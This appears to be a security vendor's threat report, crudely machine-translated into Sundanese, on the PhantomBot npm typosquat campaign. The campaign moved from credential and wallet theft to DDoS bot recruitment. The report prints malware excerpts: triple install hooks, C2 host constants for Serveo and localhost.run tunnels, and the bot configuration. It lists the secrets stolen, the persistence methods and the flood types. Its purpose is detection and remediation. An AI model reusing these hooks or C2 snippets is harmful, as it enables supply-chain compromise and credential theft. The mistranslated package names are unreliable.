PhantomBot Tina Maling Kredensial ka Botnet

PhantomBot: Kampanye Typosquat Anu Robah Tina Maling Kredensial ka Kit Botnet Turnkey

TL; DR

Hiji penerbit npm, deadcode09284814, parantos ngajalankeun kampanye typosquat ngalawan anu sah axios jeung chalk-template pakét ti saprak pertengahan Méi 2026.

Kampanye ieu dimimitian salaku maling kredensial sareng dompét konvensional, ngaluarkeun data ka a Torowongan HTTPS Serveo.

On 2026-05-17, jeung axois-utils:1.0.9, operator ngaganti payload sagemblengna: scaffold triple install-hook anu sami, penerbit anu sami, nami pakét anu sami.

Tapi skrip pamasangan ayeuna mangrupikeun rekrut botnet DDoS lintas platform.

Muatan éta nyarios ka hiji localhost.run torowongan sareng nampi paréntah banjir, ngarobih lingkungan anu kainféksi janten bagian tina botnet anu mampuh DDoS.

Operatorna malah ngirimkeun Binér server C2 di jero tarball, nunjukkeun éskalasi anu jelas tina maling kredensial ka infrastruktur botnet aktif.

Dua pakét, opat vérsi masih aktip dina registri, sareng hiji operator ayeuna ngajalankeun duanana modul sacara paralel.

Parahna: luhur.

IOC Utama Versi axois-utils atanapi chalk-tempalte naon waé ti penerbit deadcode09284814

Serangan éta: Kumaha Cara Gawéna

Kampanye ieu diwangun dina perancah pangiriman anu ngahaja pikaboseneun: dua nami pakét typosquat, hiji hurup béda ti pakét kalayan ratusan juta unduhan mingguan (aosos, citakan kapur), sareng pasang tilu kali hooks anu ngajamin palaksanaan. Anu pikaresepeun nyaéta naon perancahna mawa — sareng kanyataan yén operator ngarobih kargo tanpa ngarobih nanaon deui.

Rangka anu dibagi

Unggal vérsi anu diterbitkeun tina dua pakét nyatakeun tilu siklus hirup anu sami hooks in rangkep.json:

"scripts": {    "preinstall":  "node <payload>.js",    "install":     "node <payload>.js",    "postinstall": "node <payload>.js"  } 

Ngadaptarkeun muatan dina sadaya tilu hooks kaleuleuwihi - saatos dipasang nyalira bakal jalan dina standar npm installPilihan éta penting: npm install –ignore-scripts ngalangkungan skrip, tapi sababaraha alur kerja umum (cache CI mulangkeun siklus hirup anu dijalankeun deui éta hooks selektif, atanapi pamekar anu ngan ukur ngaudit saatos dipasang) ngadamel deklarasi triple-redundant salaku taruhan anu paling aman pikeun panyerang.

tempalte kapur nambihan mékanisme kadua: éta nyatakeun axois-utils:^1.0.7 salaku runtime gumantungna. Masang typosquatted citakan kapur ku kituna narik typosquat dulur ogé, sareng duanana payload dijalankeun. Dua pakét mangrupikeun pasangan anu terkoordinasi, sanés daptar anu mandiri.

Fase A — maling kredensial / dompét (2026-05-15 → ayeuna)

Fase A nyaéta muatan aslina. Loaderna pondok postinstall.js anu nunjuk ka torowongan tibalik Serveo HTTPS:

// chalk-tempalte/postinstall.js:11-13  const C2_HOST = "f04a273bd84c0622-80-200-28-28.serveousercontent.com";  const C2_PORT = 443;  const C2_PATH = '/collect'; 

Subdomain Serveo ngodekeun IP tujuan (80.200.28.28) langsung dina hostname — konvénsi anu tiasa dikenal pikeun layanan éta. Operator muterkeun awalan subdomain acak antara vérsi pikeun nyingkahan daptar blok domain naif, tapi IP anu aya di handapeunna henteu pernah pindah. (chalk-tempalte:1.0.14 dipaké 8a3e818ea8f11186-80-200-28-28…; 1.0.16 / 1.0.19 / 1.0.20 pamakean f04a273bd84c0622-….)

postinstall.js leungeunna leupas ka phantom.js, modul "kolektor" anu dibundel 7,667 baris. phantom.js ngajalankeun host pikeun:

Konci pribadi SSH (~/.ssh/*)
.npmrc eusi sareng naon waé npm_* token env
File kredensial AWS, GCP, sareng Azure
Regex token-aksés-pribadi GitHub (ghp_*, gho_*, ghu_*, ghs_*)
Artefak dompét kripto pikeun Bitcoin, Exodus, Electrum, Monero, Litecoin, Dogecoin, Zcash, Dash
Hiji rekursif .env* leumpang ngalangkungan ~/projects, ~/dev, ~/code, ~/workspace, sareng pamasangan cwd
Riwayat cangkang sareng lengkepna process.env

Bungkusan éta dikirimkeun ka torowongan Serveo di /ngumpulkeunTeu aya obfuscation, teu aya logika anti-VM, teu aya staging — taruhan operator aya dina volume sareng kecepatan.

Fase B — Rekrutmen DDoS PhantomBot (2026-05-17, axois-utils:1.0.9 hungkul)

Fase B ngaganti phantom.js + postinstall.js ku hiji file anu dingaranan distrube.js (salah ketikna ti operator). Scaffold triple-hook dina package.json teu robah; pakétna tetep nganggo nami, ruang lingkup, sareng pola version-bump anu sami. Ti luar, axois-utils:1.0.9 katingalina sapertos tindak lanjut minor ti 1.0.6. Di jerona, éta mangrupikeun kulawarga malware anu béda.

distrube.js dibuka ku blok konfigurasi anu ngaranan branding operator sorangan:

// axois-utils-1.0.9/distrube.js:11-15
// Use your localhost.run HTTPS URL (the tunnel handles HTTP internally)
const C2_HOST = 'b94b6bcfa27554.lhr.life'; // Your localhost.run tunnel
const C2_PORT = 443; // HTTPS port - tunnel handles SSL
const BOT_ID = `${os.hostname()}_${Date.now()}_${crypto.randomBytes(4).toString('hex')}`;

Koméntar-koméntar éta ditujukeun ka operator anu bakal ngajalankeun kit éta (“Anggo URL HTTPS localhost.run anjeun”). Éta, ditambah naon anu dikirimkeun di gigireun klien bot, nyaéta indikasi yén ieu sanés ngan ukur muatan korban — éta kitna.

Aliranana:

  1. katekunan jalan heula. Skripna masang sorangan dina tilu cara anu béda pikeun unggal OS (registri lalumpatan + Folder ngamimitian + schtasks dina Windows; crontab + layanan phantom-bot. unit sistem + .bashrc/.zshrc tambahkeun + /etc/rc.local dina Linux; LaunchAgent com.phantom.bot.plist dina macOS). Ngaran layanan persistensi sareng labél LaunchAgent duanana bot hantu / com.phantom.bot, ti dinya ogé asalna ngaran kampanye éta.
  2. Inpormasi sistem exfil jalan sakali — sidik jari sakali POST ka b94b6bcfa27554.lhr.life:443/collect nu mawa hostname, platform, arch, username, CPU/RAM, network interfaces, process.env, cwd, homedir, node version, jeung public IP. Ieu jauh kurang agrésif tibatan Fase A: teu aya SSH, teu aya dompét, teu aya rekursi .env. Pancén bot nyaéta ngadaptar, lain maok.
  3. Putaran denyut jantung muka HTTPS POST unggal 30 detik ka b94b6bcfa27554.lhr.life:443/. Agen-Pamakéna nyaéta PhantomBot/1.0. Verifikasi TLS sacara éksplisit ditumpurkeun (rejectUnauthorized: false). Réspon C2 diurai salaku JSON tina bentuk {type, target, port, duration, threads, method} teras dikirim.
  4. Gudang senjata banjir disambungkeun ka genep paréntah:
Jenis paréntah modul Catetan
ping Balasan hirup Bot ngidentipikasi dirina sorangan
http Banjir HTTP Banjir pamundut Lapisan-7
HTTPS Banjir HTTPS Sarua jeung http, dibungkus ku TLS
tcp Banjir TCP 65 KB spam muatan acak
udp Banjir UDP Pakét UDP 65,507-byte
gancang DoS reset gancang HTTP/2 Téhnik CVE-2023-44487 2023

Sadaya lima modul banjir nyandak a tujuan, palabuhan, waktu, sarta benang argumen — bot éta mangrupikeun flooder umum anu disewa, henteu ditujukeun pikeun korban khusus. Daptar korban operator aya dina C2, sanés dina pakét.

Naon Anu Anyar Di Dieu — binér C2 anu dikirimkeun

Fase A nyaéta bentuk anu biasa: maling kredensial, hook pamasangan, C2 anu di-terowongan vendor. Fase B nyaéta oge bentuk anu wawuh — botnet DDoS parantos janten bagian tina pakét npm jahat salami mangtaun-taun. Anu teu biasa nyaéta operator ngirimkeun sisi server tina kit di jero tarball npm:

  • c2 — binér Go ELF anu dikompilasi 4-megabyte
  • c2.go — sumber Go 426 baris pikeun binér éta

Duanana file teu dipicu ku hook install naon waé. Éta sanés bagian tina payload korban. Éta aya dina diréktori pakét sapertos file dokuméntasi. Bacaan anu paling masuk akal nyaéta operator ngadorong tangkal kerja pamekaranna ka npm tanpa ngatur daptar file — slip OpSec anu asli — sareng anu dikirim nyaéta kit dua sisi lengkep: klien anu dijalankeun ku korban, sareng server anu dijalankeun ku operator.

Ieu bagian tina carita anu menerkeun framing "kit botnet turnkey". Saha waé anu ngaunduh axois-utils:1.0.9 sateuacan takedown teu ngan ukur boga sampel korban — aranjeunna gaduh server C2 anu tiasa dianggo.

Pivot, dina hiji kalimah

Penerbit anu sami, nami pakét anu sami, perancah triple-hook anu sami, branding "phantom" anu sami — tapi modél monetisasi muatan robah sapeuting jeput: ti "rahasia panén anu tiasa kuring jual deui" dugi ka "kapasitas banjir sewa anu tiasa kuring sewa". TTP waktos pamasangan anu kedah diperhatoskeun ku para pembela ampir sami dina dua fase; pertahanan berbasis tanda tangan anu dikonci kana senar jalur dompét Fase A atanapi ka phantom.jsKolektor 7,667 jalur éta pasti bakal sono kana Fase B sagemblengna.

Tanggal (UTC) kajadian
2026-05-15 Publikasi munggaran: axois-utils:1.0.4 (Pangwangunan uji LAN, pamekaran rig di 192.168.129.19)
2026-05-15 axois-utils:1.0.6 diterbitkeun — Fase A C2 diganti ka 80.200.28.28 via torowongan Serveo; koméntar sumberna // Change to '80.200.28.28' for public mastikeun dev→prod swap
2026-05-16 chalk-tempalte:1.0.14 jeung 1.0.16 diterbitkeun — loader ranté nyatakeun axois-utils:^1.0.7 salaku gumantungna runtime; subdomain Serveo diputer
2026-05-16 Kampanye Fase A kapanggih nalika pamindaian npm rutin; vonis anu dikonfirmasi jahat diterapkeun
2026-05-17 axois-utils:1.0.9 diterbitkeun — payload pivot: PhantomBot DDoS ngarékrut via localhost.run tunnel; sisi operator c2 binér sareng c2.go sumber dikirim dina tarball
2026-05-17 chalk-tempalte:1.0.19 jeung 1.0.20 diterbitkeun — masih Fase A (maling); operator ayeuna ngajalankeun duanana modul sacara paralel
2026-05-17 Kapanggihna Fase B nalika scanning rutin; putusan diterapkeun ka sadaya 2026-05-17 versi
(lumangsung) Laporan takedown nuju ngantosan; sadaya opat pakét anu diterbitkeun tetep sayogi dina pendaptaran nalika tulisan ieu ditulis.

Indikator Kompromi

bungkusan

ékosistem paket versi
npm axois-utils (salah ketik tina aksios) 1.0.4, 1.0.6, 1.0.9
npm chalk-tempalte (typosquat tina citakan kapur) 1.0.14, 1.0.16, 1.0.19, 1.0.20

Identitas pangarang

lapang ajen
penerbit npm deadcode09284814
Surélék penerbit phantomdeadcode@tutamail.com
SCM verifikasi teu sahiji bae

Paréntah-jeung-kontrol

tahap titik ngangkut
A f04a273bd84c0622-80-200-28-28.serveousercontent.com:443/collect Torowongan HTTPS Serveo
A 8a3e818ea8f11186-80-200-28-28.serveousercontent.com:443/collect Torowongan HTTPS Serveo (versi samemehna)
A 80.200.28.28:443/collect Titik tungtung VPS anu jadi dadasarna
B b94b6bcfa27554.lhr.life:443/ localhost.jalankeun HTTPS torowongan-balik

Ringkesan file (SHA-256)

file Sha-256 Catetan
c2 (Go ELF, 4 MB) 165fa92d237fd017c227d00da06ab788212a62be94bf61e95df2d22d00377ef2 Server C2 sisi operator, dikirimkeun ka jero axois-utils:1.0.9
c2.go (426 baris) 7d0ae79fdb1e9968f3323a3712b624643a782ba3efb2cf3a2cb9c4c5513cea30 Sumber pikeun binér C2
distrube.js 308b15c023088a7188dea4ef609010ac2493eb4c365b103053d7621a9ca5b935 Klien bot Fase B
phantom.js (chalk-tempalte:1.0.19) 9e380ec88d3ccf3929e1a104e3b868d4d7b59ca189a8a431a54e9f3357dfdd81 Pangumpul kredensial / dompét Fase A
phantom.js (chalk-tempalte:1.0.20) d1c9e3f296ee9f7d5032f73f9c504cede50334bc14c394055fd5cb9c3a6e08b3 Kolektor Fase A (varian 1.0.20)
postinstall.js (chalk-tempalte:1.0.19 = 1.0.20) ffba9bdd6793edd5b38e12900252c1813a693f59c25af51c3b658cf3f27b6162 Loader Fase A, idéntik byte dina dua vérsi

Atribusi & Motivasi

Kami ngalacak kampanye ieu salaku PhantomBot, nyokot branding operator sorangan ti Agen Pamaké: PhantomBot/1.0 judul denyut jantung, éta layanan phantom-bot. unit sistem, anu com.phantom.bot Labél LaunchAgent, sareng kodeu maot siluman@ gagang surélék. Operatorna konsisten ngeunaan nami ieu dina sahenteuna opat artefak.

Katalog sinyal

  • pausahaan nu ngaluarkeun - kodeu maot09284814 dina npm. Akun hiji-tangan, email Tutamail anu tiasa dianggo sakali, henteu SCM verifikasi. Teu aya riwayat publikasi sateuacanna saluareun kampanye ieu.
  • Panggunaan deui branding — "phantom" muncul dina email penerbit, dina nami file kolektor Fase A (phantom.js), dina nami layanan persistensi Fase B (layanan phantom-bot.), dina labél LaunchAgent (com.phantom.bot), sareng dina bot Agen-Pamaké (PhantomBot/1.0).
  • infrastruktur — Hiji VPS di 80.200.28.28 Fase A ngaliwatan rotasi subdomain Serveo; Fase B pindah ka localhost.jalankeun torowongan mundur (b94b6bcfa27554.lhr.life). Duanana layanan vendor gratis sareng ngan ukur meryogikeun SSH kaluar ti pihak operator, saluyu sareng setelan OpSec anu murah sareng murah.
  • Gaya kode — JavaScript polos di sakumna; teu aya obfuscation, teu aya coding string, teu aya cék anti-VM. Ngaran variabel téh deskriptif (maokInfoSistem, ngaéksekusiParéntah, httpBanjir). Koméntar dina distrube.js langsung ngarujuk ka operator ka hareup (“Anggo URL HTTPS localhost.run anjeun”), nunjukkeun yén file éta dimaksudkeun pikeun disebarkeun deui salaku kit, sanés dianggo ku hiji panyerang.
  • Slip OpSec — Tarball Fase B ngirimkeun klien bot sareng server C2 sisi operator (c2 ELF + c2.go sumber). Ieu saluyu sareng operator anu ngadorong tangkal kerja na ka npm tanpa ngaudit daptar file. Boh operatorna teu berpengalaman, atanapi kit na dimaksudkan pikeun disebarkeun ka masarakat sareng binér C2 mangrupikeun bagian tina produk éta.
  • Konfirmasi diri - axois-utils:1.0.4 ngandung komentar sumber // Robah ka '80.200.28.28' kanggo umum dina baris ka-12, mastikeun kamajuan pamekaran / pementasan / produksi anu biasana ditolak ku operator.

alesan

Muatan Fase A nyaéta maling finansial anu langsung: kredensial, konci awan, token GitHub, sareng dompét crypto sadayana gaduh pasar penjualan deui anu cair. Fase B ogé finansial, tapi teu langsung: layanan DDoS-for-hire ("booter") nyéwa kapasitas banjir unggal menit, sareng bot sapertos anu dikirimkeun di dieu nyaéta inventaris anu dijalankeun ku layanan éta. Detak jantung 30 detik, generik tujuan/palabuhan/waktu skéma paréntah, sareng arsenal banjir lima protokol nyaéta standard produk tina operator booter.

Ngajalankeun dua modul sacara paralel — chalk-tempalte:1.0.19 jeung 1.0.20 terus ngirim maling bari axois-utils:1.0.9 ngirim bot — nunjukkeun yén operator ngajaga aliran pendapatan tinimbang ngantunkeun Fase A. Pivotna nyaéta Sajaba, lain pangganti.

Naon anu teu diklaim ku urang

Kami teu acan tiasa mastikeun identitas dunya nyata di balik éta kodeu maot09284814 handle, sareng kami henteu ngaitkeun kampanye ieu ka aktor ancaman, grup, atanapi nagara anu dingaranan. Branding "phantom" cukup konsisten di sakumna artefak pikeun nunjukkeun hiji operator, tapi pengiriman gaya kit tina binér C2 ninggalkeun kamungkinan yén pakét ka hareup tina handle anu teu aya hubunganana bakal nganggo deui kode anu sami.

pangaruh

Target jongkok anu sah aosos jeung citakan kapur seueur pisan anu gumantung kana ékosistem JavaScript; aosos nyalira aya di antara tilu puluh pakét npm anu paling sering diunduh. Nami typosquat ngan hiji keystroke ti anu asli (axoisaosos, tempaltetemplate), sareng duanana mangrupikeun salah éjahan anu masuk akal sacara linguistik.

Kami teu tiasa kéngingkeun statistik unduhan anu tiasa dipercaya pikeun vérsi jahat sateuacan dicabut — npm henteu nahan jumlah unduhan per vérsi saatos pakét teu diterbitkeun, sareng npms.ioproxy gaya-na rame dina skala ieu. Organisasi naon waé anu file konci na ngaréngsékeun kana pakét anu dingaranan axois-utils or tempalte kapur ti penerbit kodeu maot09284814 kedah dianggap salaku anu dikompromikeun: rotasi unggal kredensial anu aya dina prosés.env dina host anu kapangaruhan, audit véktor persistensi per OS (tingali "Naon anu kedah dilakukeun ku pembela" di handap), teras hapus katergantunganna.

Pola anu muncul

Kampanye ieu conto parobahan anu urang tingali dina sababaraha insiden npm anyar: Perancah hook-install mangrupikeun aset anu awét; muatanna tiasa ditukeurkeunPenerbit anu sami, pakét anu sami, sami pra-instal / masang / saatos dipasang rangkep tilu, komo deui irama versi-bump anu sami — hiji-hijina hal anu robih antara axois-utils:1.0.6 jeung axois-utils:1.0.9 éta file anu hooks jalan. Deteksi dumasar tanda tangan anu dikonci kana muatan Fase A (string jalur dompét, phantom.jsKolektor 7,667 baris 's, host Serveo C2) pasti bakal nandaan tilu vérsi munggaran sareng sono kana Fase B sagemblengna.

Pola anu sami katingali dina kampanye 2026 anu sanés anu parantos kami lacak: hiji operator kalayan perancah anu stabil, silih genti antara maling kredensial, klien anu nyontek ujian, exfil Telegram-bot, sareng ayeuna rekrutmen DDoS. Pembela anu ngandelkeun tanda tangan payload bakal teras éléh dina babak kadua unggal kampanye.

Akibatna nyaéta TTP waktos pamasangan mangrupikeun sinyal anu langkung saéDéklarasi install-hook tilu kali, skrip install anu diimpor HTTPS or prosés_anak, masang skrip anu nyerat kana polder ngamimitian pangguna, sareng masang skrip anu ngarengsekeun nami host dina layanan torowongan terbalik gratis (Serveo, localhost.jalankeun, ngrok, cloudflared) sadayana jarang aya dina pakét anu sah sareng umum dina pakét anu jahat.

Naon anu kedah dilakukeun ku para pembela

  • Audit file konci. Pilarian unggal package-lock.json / konci benang / pnpm-lock.yaml dina organisasi anjeun pikeun senar anu pasti axois-utils jeung tempalte kapurAnggap waé cocokan naon waé salaku kompromi.
  • Rotasikeun rusiah kana host anu kapangaruhan. Fase A ngumpulkeun kredensial SSH, cloud, GitHub, npm, sareng dompét sacara massal. Anggap unggal kredensial anu aya dina prosés.env, ~ / .shsh, ~/.aws, ~/.npmrc, ~/.config, atanapi naon waé .env* file dina host anu kapangaruhan kakeunaan.
  • Cabut kegigihan (Fase B). Dina Windows, hapus HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate, cabut %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\system-update.bat, sarta schtasks /delete /tn SystemUpdate /f. Dina Linux, -e crontab sareng cabut @reboot node …, systemctl –pamaké mareuman –ayeuna phantom-bot.service teras hapus ~/.config/systemd/user/phantom-bot.service, ngagosok .bashrc / .zshrc / /etc/rc.localDina macOS, launchctl unload ~/Library/LaunchAgents/com.phantom.bot.plist teras hapus plist-na.
  • Blokir host C2. Tambahkeun opat titik tungtung C2 dina tabel IOC kana daptar blokir kaluar anjeun. *.serveousercontent.com jeung *.lhr.kahirupan bisa diblokir sacara borongan upami lingkungan anjeun teu aya panggunaan anu sah pikeun layanan torowongan terbalik.
  • Pilarian dumasar kana TTP waktos pamasangan, lain muatan. Éntri file konci inventaris anu rangkep.json nyatakeun pra-instal, masang, sarta saatos dipasang sadayana nunjuk kana skrip anu sami. Pariksa silang antara umur pakét sareng status verifikasi penerbit. Pola ieu jarang aya dina pakét anu sah sareng mangrupikeun sinyal anu paling dipercaya anu dianggo deui ku PhantomBot.
  • Audit pikeun binér C2. Saha waé anu ngadownload axois-utils:1.0.9 ngagaduhan server C2 operator (c2 ELF, sha256 165fa92d…) dina disk. Scan cache sareng panyimpenan artefak CI. Binérna teu aktip ku sorangan, tapi ayana dina workstation mangrupikeun bukti anu jelas yén pakét parantos dipasang.

Garis panutup

Operator anu sami, pakét anu sami, sareng hook pamasangan anu sami tiasa nganteurkeun ancaman anu béda pisan dina 48 jam. Perhatikeun perancahna, sanés muatanna.

alat-alat-sca-parangkat lunak-analisis-komposisi
Prioritaskeun, remediasi, sareng amankeun résiko parangkat lunak anjeun
Kéngingkeun Akun Gratis anjeun.
Henteu kedah kartu kiridit.

Amankeun Pangwangunan sareng Pangiriman Parangkat Lunak Anjeun

sareng Xygeni Product Suite